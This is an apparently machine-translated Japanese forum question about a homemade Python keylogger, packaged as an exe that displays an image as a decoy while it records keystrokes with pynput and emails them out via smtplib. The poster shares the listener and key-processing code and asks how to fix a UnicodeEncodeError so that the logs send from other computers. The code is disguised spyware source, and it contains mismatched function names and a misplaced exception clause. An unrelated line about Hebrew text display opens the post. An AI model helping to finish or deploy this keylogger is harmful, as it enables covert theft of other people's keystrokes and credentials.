TL;DR:
バグを見つけましたが、まだ解決していません:
英語で入力 (左側)、ヘブライ語で表示 (右側)
Ubuntu マシン (VMware) のpython 2.7で単純なキーロガーを作成しました。作成された exe ファイルは、画像を表示し、バックグラウンドでキーロガーを実行することになっています。ホストコンピューター(VMwareホスト、pythonがインストールされていない)で動作していますが、私が持っている他のコンピューターでは動作していません(pythonもありません)。画像は表示されますが、smtplib を使用して電子メールを送信できません
キーストロークの処理には、次のようにpynputを使用しました。
keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()
そして process_keystrokes は次のとおりです。
def process_key_press(self, key):
try:
current_key = key.char
except AttributeError:
current_key = '{0}'.format(key)
if current_key == 'Key.space':
current_key = " "
else:
if current_key == 'Key.enter':
current_key = "\n"
else:
current_key = " " + current_key + " "
except UnicodeEncodeError:
current_key = " bla "
self.append_to_log(current_key)
キーロガーが開始されたという最初の通知を除いて、私のWindowsマシンでは何も送信されません。
pycharm からも実行しようとしましたが、数秒実行した後、次の例外が発生します。
ファイル "C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py"、855 行目、sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError:'ascii ' コーデックは位置 6 ~ 11 の文字をエンコードできません: 序数が範囲外です (128)
誰が私が間違っているのか知っていますか? キーストロークを正しく解析するにはどうすればよいですか? いくつかのマニュアルを試しましたが、解決策が見つかりませんでした。
助けていただければ幸いです、ありがとう。